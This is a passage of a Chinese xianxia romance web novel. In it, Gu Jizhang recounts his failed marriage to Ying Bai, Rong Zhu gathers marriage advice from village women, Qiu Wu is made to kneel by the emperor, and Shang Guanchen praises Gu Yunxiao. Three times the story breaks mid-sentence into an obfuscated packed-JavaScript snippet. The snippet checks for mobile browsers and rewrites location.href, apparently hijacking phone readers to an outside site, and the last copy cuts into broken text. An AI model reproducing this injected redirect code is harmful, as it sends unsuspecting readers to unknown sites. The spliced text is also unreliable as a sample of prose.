“她为了感谢我让我留下来吃顿便饭。她酒量很好,后来兴许是喝多了,她拉着一起采珠的姐妹在院子里跳舞,奇怪的是,明明有很多人在跳,我却只能看到她,她的笑声很清脆悦耳,因醉酒而颇无章法的舞姿却出奇得好看,我这才注意到她的绣鞋是蓝色的,右脚那只颜色有些深,因为从河里拿出来后还没干。 “吃完饭后我便离开了,她喝多了站不稳却执意要送我走,我们一直走到山外,最终她酒劲上头倒在地上睡了过去,我只好把她再背回去。” 应白会意一笑。他听得很认真,倒并非好奇顾寄章的私事,而是他察觉到了顾寄章眸底的悲伤,但从他讲的这些话听来,他们的初见还是很美好的。 “之后大概过了半年,我办完了事回家,其实根本不用经过那个村,但我还是故意经过,听到了熟悉的笑声从河边传来,我和她远远看到了彼此。她笑着朝我跑来,毫不见外地拉着我加入她们的舞蹈中,一群人手拉着手转圈圈,也不知这舞怎么跳的,我和她被挤到了圆圈中间,她继续围着我跳舞。 “后来我们经常见面,她问我为什么不开宗立派,当个一派之主,我说我更喜欢游历山川,自由自在,如果她愿意我可以带她去遍所有地方,她欣然同意。 “没过多久,在她父母的见证下我们成了亲,成亲后的半年,我们感情很好,她每天都是阳光明媚,笑容满面。可后来有一天她再次提议让我当一派之主,我说这不是我的追求。 “从那个时候开始,她的笑容就越来越少,我不想看她难过,便跟她说了许多我的心内想法,她没再跟我提这件事,但我能感觉到和她之间的感情好像渐渐没了昔日的美好。” 雨越下越大,在林间呼啸穿过,发出沉闷的噼啪声。 顾寄章平静道:“就在我们感情日益冰冷下,她发现自己怀孕了。我很高兴,她也很高兴,我们又恢复了以前的情分,好像之前的不愉快从未发生过。 “不过,她月份越大就越不开心,我问过郎中,说这是孕期的正常现象,越是如此,越要好好照顾。所以但凡她有任何想要的东西,想做的事,我都会满足她,她想看我用灵力变戏法,我就给她看,但是有一天她忽然对我说我并不爱她。” 应白目露困惑,沉闷的雨声让顾寄章的叙说变得更加沉闷。 “她说如果我爱她就会满足她所有的要求,我不答应她建立宗门就说明我一心只为自己,根本不在乎她。 “我不想让她在孕期因为这件事影响身体,便说等她生完孩子我们再好好商量。生产之际,她因长时间的情绪低落而引发难产,她再次问我愿不愿为她建立宗门,我并不觉得不答应她这件事就说明不爱她,我不会违背心愿说谎,于是便跟她说建立宗门非我志向。 “她死前说的最后一句话是她看错了人。” 应白的心“咚咚”跳着,他为这段开始美好,结局却是苦果的感情感到震撼和惋惜,从前他跟顾寄章经常聊天,但唯有这一次,应白仿佛认识了一个新的顾寄章。 每个人都有私事,却不会将它随便说给人听。应白知道顾寄章告诉他自己和亡妻之间的故事是要告诉他什么,不过他除了伤感困惑外,不明白这段爱情的问题究竟出在了哪里。 顾寄章的眸光明亮温暖,“我的婚姻并不美好,我也不后悔和云萧的母亲成亲,她带给我了一个可爱的女儿,云萧跟她母亲一样爱笑活泼,跟我一样喜欢游历山川。” 他顿了顿说:“可我有时又想如果我能早点意识到她心内渴望一个建立宗门的丈夫,而自己并不会给她带去理想中的爱情时,那我一定不会让她感情错付。我们的人生理想不一样,在一起只会彼此折磨。 “人生没有重来这一说,如果真能回到当初,对我而言同样是件难以抉择的事,我若再次选择跟她成亲,那她只会越来越不快乐,可我若不选择跟她成亲,云萧就不会来到我的生命中。” 应白心潮澎湃,他曾经学艺十几年,师父教他功法,教他做人,却从来没教过他男女之情,他知道,此时此刻,眼前这个男人,他虽然不是自己的师父,但他却在告诉自己过往许多年,自己未曾涉足过的东西。 他今日不仅知道了这个男人的过去,还看到了他藏在心中那份复杂又深情的爱。眼前的顾寄章让应白同情、尊敬、陌生又亲切。 顾寄章看向他:“应白,我想告诉你的是,爱一个人爱的不是对方的外貌和有没有灵力,每个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16978800|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 都有自己的脾性,这代表着每个人都是世上独一无二的人,你不必为自己没有灵核感到苦恼,灵力虽然有诸多作用,但两个人柴米油盐过日子又不靠它,没有灵力,难道你就不是应白了吗?” 雨声在这一刻忽然骤停,哗啦啦的雨线变成了淅淅沥沥的小雨,遮在应白心头的阴云蓦地裂出一条缝隙,紧接着越来越强的光亮渗透进来,直到将他的整颗心照亮。 他叫应白,是年少成名的应白,是曾经位列圣灵的应白,是师父的徒弟应白,是母亲的儿子应白,他体内千千万万个思想和认知造就了世上独一无二的自己。 他刚才说即便自己灵力高强,即便容珠仍旧修炼不起来灵力,他也会义无反顾地喜欢她,不是因为容珠的容貌,不是因为她救了自己,而是她是容珠,是世上再也找不出第二个性情相同的女子。 救他出漩涡之境的可能是任何其他人,救命恩人可能会有很多,但这样的容珠只有一个。 应白要做的是做个真真正正的自己,他自有魅力和闪光之处,而这些才是对一个人真正动心的原因,是维持两个人感情的重要绳索,是周望所说的坦诚相待,是两个人灵魂的拥抱。 * 晚上,顾寄章看到沈宫主的书房还亮着灯,知道她在忙着给朝荣国各地捐献银两的事。 紫阳宫和皇宫的隔阂已经是众所周知的事了,这是朝荣国事件频发,人心不一所演变的局面,他也想不到赵皇帝在明知国库充盈下也不愿意拿银两出来修渠,为的是让其他门派因为银两一事对紫阳宫心生怨气。 顾寄章在心里叹了一声,沈宫主一心为民,哪怕赵皇帝不说,她也会考虑到因雨灾而吃不饱饭的百姓,想办法分发粮食和衣物,而赵皇帝还在修渠费银一事上吝啬使计。 顾寄章又在心里叹了一声,叹沈宫主的正义之心却引来其他门派的怨怼,叹他们把利益看得比仁爱还重要,叹沈宫主在知道她以为在民生这件事上唯有赵皇帝拎不清的时候,她所信任的其余门派竟也露出不满之色后的心寒。 然而沈宫主是强大的,她的强大体现在她深厚的灵力中,更体现在她不管遇到什么都能维持本心,从容又坚定。 顾寄章站在门边敲了敲门,里头坐着的沈宫主抬眸,笑道:“敲门多见外。” 她搁下笔,看着顾寄章进屋在椅上落座,“我看应白这两天心情不佳,我倒从未见过他面露低落之色,从前是多么一个意气风发的人,刚回来那会儿也没这样,虽说这两天他在忙着找灵根草,我倒不认为他单纯地在为自己没灵核而伤感。” 顾寄章为沈宫主的识人能力感到欣慰,他笑道:“他的确在为自己没灵核而伤感,不过不是为了自己有灵力,而是为了有能和喜欢的人在一起的资格。” 沈宫主眸光一亮,随即垂眸笑道:“他还年轻,要是让他对付妖魔他一眼就能看出要害,可要是自个儿面对情爱,他就犯糊涂了,若因灵力强弱之故绝了自己的感情,那天下多少有情之人白白没了幸福?两个人互相喜欢有真心就够了,灵力能干什么呀?” 屋内燃烧的烛火发出“噼啪”的细微声音,顾寄章避开了沈宫主被烛火映照的火亮亮的双眸,他话头一转,对沈宫主道:“应白不小了,邱梧也是。” 沈宫主目露诧异,顾寄章对沈宫主的反应目露诧色:“邱梧没跟你说过他们两人的事吗?” 沈宫主更加困惑不解,“你的意思是应白找灵根草是为了邱梧?” 顾寄章心道这么明显的事沈宫主怎么看不出来,即便她再忙,女儿的事她也一向关心到位,怎么现在倒像是头一次知道什么似的。 沈宫主看到顾寄章肯定的表情后道:“可邱梧跟我说她不喜欢应白,而且应白有喜欢的人。” 这下顾寄章更加困惑了,“他们两人不是……” 略一思索后,顾寄章心想沈宫主话里的意思不是说两人闹矛盾在赌气,重点在应白喜欢的人不是邱梧这句话上。 “原来是我误会了……”顾寄章摸了摸下巴上的胡子,“我记着你之前跟我说过这事,我下意识以为是邱梧了。” 沈宫主拿起笔沾了沾墨笑道:“邱梧这么优秀,我觉得整个朝荣国哪个男子都配不上我的女儿,我就看好应白了,但感情这事本就复杂,人家师徒俩有患难与共的情分,两个人都给了彼此新的希望,情深刻骨,这样的感情已经超过了一般的男女喜欢,当局者迷,应白思虑太多了。” 顾寄章恍然大悟,沈宫主的话如同一根绳索似的将顾寄章之前目睹过的端倪但他不甚在意的那些画面都连接起来了。 他道怎么邱梧和应白两人怎么看都不像是互有感情的样子,还以为是两个人年轻,不懂得维系感情,原来应白找灵根草是为了和容珠在一起啊,他怎么就没看出来呢! 96. 烛台 一连半月的雨让各处道路都像一个掉进泥坑的娃子似的面目全非。 在卞城那几天,容珠走到哪里都会有人过来跟自己说话,起初一个两个,慢慢地自己就被围了起来,这些邻里乡民大多因容珠为他们的田地施加避雨屏障而心怀感谢,争先恐后地拉她进自己家里吃饭。 百姓家里的饭菜没有紫阳宫丰盛精致,但容珠看得出这一桌桌的菜都是他们热情真心在招待。 虽说她自小是个有爹疼有娘爱的门派小姐,没怎么吃过粗糠野菜,但容珠心里高兴,她光顾着和这些妇女说话,筷子叨的什么自己也不知道,每顿饭都吃得心满意足。 那些妇女生怕容珠吃不饱,时不时给她夹菜,脸大的馒头摆在容珠面前,容珠连连摆手,她撑得不行,每晚睡前都要在外面走几圈才能一身轻快地入睡。 这些妇女都是土生土长的本地人,性子直率大咧,和容珠说完话就和周望说,见周望长得跟仙君似的便毫不见外地问他今年多大,成没成亲。 这时容珠就发现周望又像变了个人似的,问什么答什么,不多说一个字,保持着客气和疏离,让旁人没问两句便觉无趣。吃饭的时候也不喜别人给他夹菜,碗里的肉一点不吃,倒是五谷杂粮和一些素菜吃得干干净净,一点也不像她认识的那个热情礼貌,讨人喜欢的周望。 众人八卦的心在周望身上没过过瘾便又转移到了容珠身上。 容珠自觉尴尬,但她脑子一转,把问题抛给了她们:“各位婶子阿姨都是经历过的人,一定知道成亲对象要找什么样的,不如给我出出主意,我也好受教受教。” 容珠说得谦虚好听,这些平民妇女本来因她是修炼之人又是皇宫派来监工的,心中对容珠有着几分敬意,但她从没拿身份说事,又是一副晚辈姿态,这些妇女不管有没有经验,听到能让容女侠“受教”时纷纷说出了自己的见解看法,势必要成为容女侠感情路上的导师。 她们说的每一条经验,容珠听在耳朵里,脑子不自觉往应白身上带。 “男人要帅。” 容珠心想应白就很俊。 “男人要身强力壮。” 容珠心想应白剑法好,武功也好,能忍常人所不能忍的灵核离体之痛,的确身强力壮。 “男人要有爱心。” 在这一点上,容珠毫不犹豫地在心里认同应白,于私,他从没嘲笑过她是废物,是她现在能施出避雨屏障,能坐在这里受大家热情招待的好师父。 于公,他是那个世界宣扬仁爱的“疯子”,他想做的是让所有人都恢复爱的本性和经历被爱的温暖,他是世界上最有爱心的人。 “你们说的这些都不中用!”一个微胖的妇女皱着眉头道,“成亲一事何其重要,那可是关乎一辈子的大事啊,要我说,找男人一定要找会疼媳妇的,不然其他都白瞎!” “对对对……”其他妇女纷纷笑了起来,叽里呱啦说起自家男人有时候不听话啦,有时候顶嘴啦,有时候力不从心啦…… “怎么样算疼媳妇?”容珠在众人你一言我一句的吵闹中问出了一个让喧闹声戛然而止的问题。 妇女们纷纷望向她,心知她年轻,没经历过,于是又七嘴八舌地传授道:“就是要懂得体贴呀,端茶倒水,洗脚揉肩这都是基本的!” “还要偶尔送点花儿啊,女子们喜欢用的胭脂水粉啊……“ “还要经常抱抱你,亲亲你啊……” 容珠略显局促起来,她想起来应白送给她的珍珠簪,应白在花灯节那天送给她的那朵芙蓉花,还有……做噩梦那天,他在自己额头上印了一个炽热的吻…… “这些……都是成亲后才会发生的吗?” 一经验老道的妇女说:“成亲后自有成亲后要发生的事儿,要是一个男人对你这样,那他就是中意你,你要是也喜欢他,就要对他这些行为做点反应,有些男子害羞,不好意思直接问出口,要是见你没反应,他就以为你不喜欢他,可能就要错过一段姻缘啦!” “那不行!“一妇女翘着二郎腿,手里拿着一个白面包子,边嚼边说:“这种事情就该男的主动,咱们女人得矜持,怎么能先说喜欢对方呢?” 容珠已经听不到妇女们的讨论了,她陷入了自我思索中,她不知道在应白眼中,自己有没有对他的一些行为做出反应,会不会应白已经看出来她也喜欢他了? 如果是这样,那他怎么不直接说出来?难道他也觉得师徒关系变成恋人关系很奇怪吗? 但容珠很快否定了自己的想法,她的直觉告诉她应白并不知道自己喜欢他,那如果是这样的话,等她回去以后要不要对应白说出自己的心意呢? * 几日后,容珠和周望乘马车进入永城边境,潮湿泥土的气息趁着车帘被微风吹起,悄无声息地钻了进来,依附在人的衣服上,头发上,车板上,仿佛马车里面也成了泥泞的街道。 周望睡了一路的觉,路途遥远,容珠只能通过这几日在卞城的美好回忆来打发无聊的路程,这些事情每每忆起,心中的喜悦都不再像当时那般强烈,渐渐地被帘外的雨水浇透,开始悲凉。 她真不明白,明明朴实有爱的百姓,为什么会在她那个世界成为贱民? 那个世界的冷漠和尊卑之分不仅剥夺人对他人的善良且不断压制人己身会需要的感情,让每个人从出生的那一刻起,就要做出与胸膛里的那颗搏动的心所流动的温热之血相悖的行为。 把一个人的人生陷入无情的争斗中,所有本应具备爱的关系都扯上了利益尊卑,让亲情变得比冰块还冷,让爱情变得比陌生人还疏离,比做生意还算计。 把活生生的人扭曲成这个样子,把整个世界用墨水浸染,以刀剑作为日光,血点作为繁星,这样的人生,这样的世界真的有意义吗? * 大雨滂沱,罩在皇宫上方的避雨屏障散发着白蒙蒙的雾光,接踵而至的豆大雨滴劈里啪啦砸在上头,无休止的沉闷敲击声震彻着整个皇宫。 宫道已经清扫利落,处处都透着干净清爽,外头明明在下着雨,身处皇宫里的人却不必打伞,有人念着沈宫主的好,有人似乎认为自己本就处在一个没有暴雨的世界里。 道路虽然干净却泛着阴冷凉气,四公主再次从殿内出来看着跪在地上的人问身边随侍的侍女:“还要跪多长时间?” 侍女恭敬答道:“回公主,邱老师还需再跪一刻钟。” 四公主撅嘴,她望着邱梧坚//挺的背影闷闷道:“父皇以前不是这样的,他从来不会罚任何人,明明是我背文章背得慢了,为何父皇不罚我却罚邱老师?” 侍女垂眸默声。公主年幼,有些事不明白,侍女因其地位,有些事不敢言论。 豆大的雨滴在接触屏障的那一刻便化作汩汩雨流,顺着低处流淌汇聚。邱梧看着这面为整个皇宫遮挡大雨的屏障,内心百感交集。 今日上朝的时候,赵皇帝质问沈宫主为何没有经过他的批准就让边城知府在高地修建大棚。 沈宫主道:“修炼之人的数量和灵力都有上限,现今仍有很多地方受不到避雨屏障的庇护,那里百姓的屋舍已被雨水淹得不能住,若不及早修建大棚又让大家身居何处?” 边城知府动作很快,五天时间便在高地盖了个能容纳四五十个人临时居住的棚子。 盖棚子不是劳民伤财的大工程,而且赵皇帝早就说过让各地知府准备防洪措施,盖棚子一事本就是边城知府安稳百姓的分内之事,赵皇帝却意在指责沈宫主越权号令知府,有意僭越。 沈宫主直言不讳:“眼下雨灾遍布朝荣国,各地知府每日忙得焦头烂额,陛下却不分轻重指责给房屋被淹的百姓修建大棚是为僭越?陛下//身处不被雨淋的皇宫是否已经忘了外面仍有许多百姓身陷雨灾?” 满朝众臣都知道如今唯有沈宫主明言快语,胆大滔天,话说到这份上没人敢吱声,只等着坐上之人降临滔天怒火。 赵皇帝气得半天说不出来一个字,下朝后,他叫来四公主背书,四公主有些地方背的熟,有些地方即便磕绊也能背得下来,赵皇帝大怒,训斥邱梧这个老师做得不尽职,罚她跪地一个时辰。 四公主跟邱梧道歉,责怪自己平日没有刻苦背书,邱梧心知陛下有意责难,且她进皇宫当四公主的老师只是个幌子,赵皇帝不能对沈宫主如何,却可以对四公主的老师惩罚责难。 跪地这种不轻不重的惩罚对邱梧的身体来说不会有什么伤害,但她知道赵皇帝惩罚的本意不是对她身体伤害,而是当着皇宫里太监和婢女的面对紫阳宫羞辱。 邱梧是四公主的老师,也是紫阳宫的圣女,哪一个身份她都知道该做什么,赵皇帝拿地位压她也改变不了紫阳宫的作为。 沈宫主即便和赵皇帝互成对立也照样按时维护皇宫上方的避雨屏障,赵皇帝却认为这是对位高者的臣服,就像邱梧听到自己要受惩罚后,平静地走到宫殿前的地砖上,然后,跪下。 “时间到了!”四公主从门后跑出来走到邱梧身旁想扶她起来,邱梧已经起身,活动了一下膝盖后对四公主笑道:“公主对我的关切足以抚平我的痛楚。” “真的吗?”二人来到屋里坐下, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16982952|188622||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 四公主把小手放在邱梧的膝盖上说:“我从来没受过处罚,但我不开心的时候,母妃就会给我讲故事,我也给邱老师讲一个故事吧。” 邱梧知四公主天真,可自己都这么大人了,就算要安慰也不是听故事,不过她不会拂四公主的心意,于是便双眼期待地看着她说:“好啊,公主要给我讲什么呢?” 四公主很开心,她将凳子往邱梧跟前挪了挪道:“之前周先生给我当老师的时候就讲过一些我从未听过的神奇故事,我就讲蜡烛与烛台的故事吧。” 邱梧想起来她刚来的时候就听四公主说过周望给她讲故事的事,当时邱梧心里觉得这些故事的名字很奇怪,但她也没多问,此刻四公主要给她讲,她便也起了好奇心。 “很久很久以前,在一个小村子里生活着一家三口,男人雕工精湛,把用木头雕出来的小东西拿到镇子上买卖,女人在一个秀坊里做绣娘,两个人有一个小男孩,很快要过七岁生日了。” 四公主的声音清脆又缓慢,带着孩童的纯真和洁净,让邱梧的心不自觉沉静下来。 “小男孩喜欢吃鱼,但村子周围没有河,镇上也少有卖鱼的,小男孩的爹爹就在小男孩每年过生辰的时候去很远的地方捕鱼回来,做成一道美味的饭菜当成小男孩的生辰之礼。每天晚上,小男孩的爹爹和娘亲都会哄他睡觉,小男孩怕黑,于是爹爹和娘亲就把他床头的蜡烛点得亮亮的,直到小男孩睡着了再熄灭。 “可是小男孩的爹爹因为劳心劳力,伤了身体,得病去世了,等小男孩过八岁生辰的时候就没有人给他做鱼吃。这天晚上,小男孩很伤心,他的娘亲好不容易将他哄睡了以后,小男孩做了一个梦,他梦见有一个身穿黑衣服的公子在对他笑。 “他不认识这位公子。这位公子对他说:‘今天是你的生辰,我想送你一个生辰礼物,不知你想要什么?’小男孩不假思索道:‘我想念我的爹爹,我想见他。’公子说:‘你爹爹所处的地方你现在还不能去,不过我有一个办法可以带你去见他。’ “小男孩抹掉了脸上的眼泪,十分开心地要跟公子走,但公子安抚他道:‘你需要先拿上一样东西。’公子指了指小男孩的身后,小男孩回头,看到身后摆放着自己屋里的床,床头边的蜡烛已经燃烧殆尽,只剩一个孤零零的烛台,公子指着那个烛台说:‘你要先把它拿上。’ “小男孩照做了,然后公子就拉着他的另一只手来到一个没有光亮的黑暗世界,公子说:‘这里这么黑,没有烛火很难看得清路,现在,你要把烛台点亮。’小男孩有些困惑:‘可是烛台上没有蜡烛啊?’ “公子慢慢跟他解释:‘在你所生活的世界,点燃蜡烛才有烛光,可蜡烛总会燃烧完,每一根蜡烛在燃烧的时候,它底下的烛台都在吸收着蜡烛的烛光,这些烛光在你所生活的世界里是看不到的,只有在这里才能看到。’ “小男孩并没有理解公子的话,他一心想见自己的爹爹,于是问公子:‘那我要怎么样才能让烛台显现烛光呢?’公子对他微微一笑,拉起他的手放到他眼前说:‘你与你的爹爹血脉相连,只要在烛台里滴一滴你的血,烛台就会发出光亮,带你去找你的爹爹。’ “小男孩注视着烛台一直没有说话,公子问他:‘你怕黑,之前的每一个夜晚,你的爹爹和娘亲都会守在你的床边,为你点燃一根蜡烛,蜡烛会记得每一个曾经点燃过它的人,它会流下烛泪告诉烛台这个人是谁,所以,现在你手里拿的烛台认识你的爹爹,但烛台需要像烛泪那样鲜红的,有感情的液体才能释放光亮,你愿不愿意用自己的一滴血去见你思念的爹爹呢?’ “小男孩想起了爹爹做雕工时会割破手却从来没有喊痛,想起爹爹每年去很远的地方给他捕鱼回来后,手背上总会有几道血口。他迷茫的目光开始变得坚定,随后他点点头说:‘我愿意。’ “于是他抬起手指伸向烛台中心的银针上,扎破的指肚很快滴下了一滴血,紧接着,小男孩手里的烛台释放出了一道明亮璀璨的光芒,这道光芒一直前伸,在这个黑暗的世界里给小男孩照亮了一条光明之路。 “小男孩随着这道光芒找到了自己的爹爹,他过了一个十分快乐的八岁生辰,等到他醒来后,他已经不记得自己经历了什么事,但他知道自己做了一个美好的梦。 “此后每年,小男孩过生辰的时候,这位公子都会来梦里找他,带他去见他的爹爹,直到小男孩的娘亲也逐渐老去,直到小男孩自己也不再属于他所生活的世界,真真正正来到了这个黑暗的地方,他拿着发光的烛台,在这里和他的爹爹、娘亲永远幸福地生活在了一起。” 97. 山风 雨水不停,边城每日都会有百姓上报知府自家屋舍被淹,原本看起来很是宽敞的大棚也在几日间住满了人。 灾民里男女老少什么样的人都有,大家同住一个屋檐下多有不便,边城知府便着人设了帷帐将男女分开,眼下大棚已经挤满,外头仍有诉苦的百姓。 大棚避雨不避风,好在现在正值四月份,刮风下雨虽有点凉但是多穿一件衣服也就无大碍。边城知府并不知因建大棚一事在朝堂上引起了赵皇帝的发怒,他心里还感激着沈宫主,因她走前还给几处尚未完全侵害的村庄施了个大大的避雨屏障。 边城知府见沈宫主如凡人见天神,除了感激沈宫主对边城百姓的照顾外还抑制不住自己对紫阳宫的尊敬,于是在办公事之余还写了一封言辞真切的问候话让邮差送去都城紫阳宫。 信封里洋洋洒洒好几页都是对沈宫主的感谢和仰慕。现如今,沈宫主不常在紫阳宫,邱梧又在皇宫,沈宫主便让上官琛负责紫阳宫的琐碎事。 当上官琛看到有一封来自边城知府的信并将它拆开认真看完后,上官琛啧啧啧了几声,指头弹了一下信封自豪道:“我娘就是有魅力!” 顾云萧在外头叫他,金毛摇着尾巴溜达了进来,在地板上嗅来嗅去。 顾云萧自打决定要和容珠一较高下后就真成了个勤学苦练的人,上官琛说不上来这究竟是件好事还是坏事,既可以说顾云萧较之从前大有进步是好事,也可以说她总把自己弄得压力很大,不爱笑是坏事。 在上官琛眼中,不爱笑的顾云萧就像失去了灵魂似的,但其实顾云萧只有在修炼时才不爱笑,哪怕是小到吃饭,大到和他一起给都城村镇施加避雨屏障时,顾云萧都笑得明亮。 “从前怎么说你你都不修炼,既然不是自己喜欢的事,何必要勉强自己做呢?”上官琛看着盘腿坐在蒲团上的顾云萧,真诚询问。 “我跟你说过了,我要让自己厉害一点,不想一无是处。”顾云萧烦躁的目光看了他一眼随后又闭上。 “你怎么就一无是处了?”上官琛蹲在她面前,“我打赌你从前从没这么想过自己,你从未有过要跟什么人比较的想法,你说你才不要受束缚,你要过自由自在的生活,虽然你现在认真修炼比之前进步很多,可你不开心啊。” 上官琛再一次说了这句话。 “你怎么会做让自己不开心的事呢?” 顾云萧目光一怔,随后皱眉道:“修炼本就是枯燥辛苦的事,谁会觉得修炼是件开心的事?” “你这是以己度人。”上官琛坐在地上,身子后仰,用两只胳膊撑着轻松道:“我就喜欢修炼,况且我娘还是紫阳宫宫主,我可不能丢她的脸。” “你修炼的原因是你觉得这是一份责任,而不是你真心喜欢,你也不愿居于人后,你不也是想要变强吗,这和我认为的有什么不同?” “有很大的不同!”上官琛坐直身子,看着这个有些变了性子的顾云萧。 “所有修炼之人的初心都是为了给朝荣国降妖除魔,我出生在门派之中,的确肩负着这样的责任,但不是说我为了这份责任而放弃我真正热爱的事,我修炼不是为了要证明给谁看,而是我愿意并且想要成为一个保家卫国的修炼者。你忘了自己说过什么吗?你说:‘谁说打架才能证明一个人有没有能力?’” 金毛趴在远处地板上,两只前爪垫着毛茸茸的脑袋,黑白分明的眼珠正打量着两人。 外头雨停了,没了雨声的嘈杂,屋里格外寂静。 “因为你现在哪里都优秀!朝荣国有几个同龄人比得过你?你当然不会有挫败感和危机感!” 顾云萧过去常年游历在外,每爬一座山都要站在高处对着天边大喊,每经过一处河海都要对着群山大声问候,长此以往练就了一副好嗓子,她平常说话就有些咋咋呼呼的,现在的声调与吵架无异。 上官琛见她站了起来便也站起来道:“你一直都是个爱笑爱闹爱自由的女子,你说我不懂,我还真不懂,我不懂你为什么当初跟我们,跟阿姐相处一块的时候就没有比较之心,为何容珠就让你变了性子?她修炼是因为在她那个世界不修炼就活不下去,你修炼是为了什么?” 顾云萧不妨上官琛说话直接,就像被他揭开了心里头的遮羞布,她也不掩不藏,破罐子破摔道:“我修炼就是为了要超过她,要比她强,跟她站在一起我才不会觉得自己弱于他人!才不会觉得自己暗淡无光!” “我不会这么想。”上官琛冷静道。 “你怎么想跟我无关!” “我不会因为你喜欢周望的容貌而觉得自己比不上他。” 顾云萧错愕地看着他,为上官琛突然说了一句莫名其妙的话感到困惑,“跟周大人有什么关系?我在说我,你在说什么?” 上官琛一双亮得出奇的眸子直直盯着顾云萧,两只手臂僵硬地垂在身体两侧,他嘴唇紧抿,一副欲言又止的模样。 顾云萧奇怪地看着他:“为什么你要因我喜欢什么而去比较?” 虽然上官琛明言自己没有跟周望比较容貌,但顾云萧分明感觉到这句话不是上官琛在向她炫耀自己有厚脸皮的自信,而是还藏着另外一层捉摸不透的意思,就像屋外的雨雾遮住了远处的景色,模模糊糊,辨别不清。 上官琛眸光跃动,如海浪层层涌来,“容珠有容珠的优点,你有你的特点,不是每个人的笑容都像你一样明媚,也不是每个人都像你一样拥有风的形状。风就是不受束缚,随心所欲的,它不需要去跟世上的任何生灵比自己所没有的东西,因为其他东西也没有风的魅力,可以给人带来清爽与畅快的魅力。” 窗外树叶沙沙作响,一股夹杂着潮湿凉气的微风吹动了顾云萧的发丝。 金毛悄无声息地出去了。 “你……”顾云萧又惊又呆地看着他,看着对方眼底的眸光快要逼近阳光一样灼热耀眼,她生出了躲意,避开了这双眸子,假装看向屋外的树叶,树叶摇摆,云层涌动,那是风的痕迹。 小时候,姑姑说她长得清丽,爹爹说她长得调皮。后来到紫阳宫的时候,沈宫主见了她夸她俊俏活泼,长大后外出游历山川时,她经常听到人们对她说“谢谢你,萧姑娘!”“萧姑娘,你真好!”“萧姑娘,我想和你做朋友!” 她喜欢游历山川,因为喜欢自己随性置身于任何地方的自由,喜欢看到陌生面孔的新奇,学着高山湖泊一样张开双臂让自己和风融为一体。 她喜欢风,无论是大风,微风,春风,寒风。因为风可以第一时间看到世间万物的变化,在经过它们身边时,风能立刻知道它们的喜怒哀乐。她羡慕风,因为自己不是风,所以会意外有人将自己比作风。 心头的怒火被微风抚平得干干净净,随之而来的是难以抑制的悸动,她眉眼渐渐浮上喜色,难得轻声又骄傲道:“你这么夸我我很开心。” 她大步走到门口看着阴沉的天空,“不过我还是要修炼,从前修不修炼都无所谓,因为朝荣国有的是能人,一年到头也没几个妖怪作祟,但现在不一样了。” 顾云萧回头,“皇宫那位德不配位的国君已经无药可救了,魔龙一日不除朝荣国就不得安宁,现在是用人之际,我要为了将来可能发生的种种变故而修炼。” 她又走到上官琛身前,乌黑明亮的眸子重复光彩,“我仍然要跟容珠切磋,有竞争才会有进步,上官师父,众所周知的道理你不需要我这个徒弟教你吧?” * 雨停正是赶工的好时候,山间的风呼呼吹过,纵然是春季也让人觉得凉意透骨。容珠又打了个喷嚏,边城知府惶恐地上前慰问:“容女侠,可是身体有恙?” 容珠两日前从永城出发,昨日刚赶到边城,边城知府对容珠很热情,因为他知道容女侠 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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容珠动了动鼻子,一股若有若无的血腥气似乎夹杂在山风里。即便她曾经没本事杀人,她也见过杀人的场面,况且在那个世界,人死流血就像每日吃饭一样平淡,她记得人血的味道。 然而现在这股血腥气却与人血的味道大相径庭。它很腥,又带着点香。 “知府大人。”容珠随口问正准备带周望去另一边的知府,“边城有大河或者海域吗?” “有大河,不过离这很远,容女侠莫非想吃海货?”边城知府一副要派人去准备的模样。 奇特的血腥味道仍若有若无地在鼻间回荡,她分明问到了其中的海腥气,但方才知府的话告诉她这风里的腥气绝不是从大河那边带过来的。 “不是想吃海货。”容珠透过余光发现周望在看她,她莫名觉得这个眼神十分犀利,带着冰冷和探究的意味。 她把即将脱口而出的话又咽了回去,脑子飞快地想了个理由道:“就是看这里四面环山,若是有溪流小河的话不是风景更美吗?” “原来如此。”边城知府笑着,“不过我刚才真闻到了一股海腥味,可能是我也馋了吧……” 周望的目光不曾移走,容珠转念想他兴许是在看她身后的劳工。 监工这几天,周望大部分时间是沉默的,公事上听各地知府汇报进展以及问题,偶尔说屈指可数的几句话,私下……容珠也不常跟他在一块,她大部分时间都在施避雨屏障或者跟大棚里的百姓说话。 她是和周望一起来监工的,但有时候好像身边根本没这个人。 周望太安静了。安静得跟都城的周望截然不同。 这个目光让容珠心里发毛,她偏头去看那人,在她看到对方眼睛的瞬间,对方将目光收了回去,转身朝另一个方向走了。 他走姿如常,跟在都城时一样翩然沉稳。 风中的血腥气慢慢变淡了,像个在玩捉迷藏要被发现的孩子,悄无声息地藏了起来。 98. 郁闷 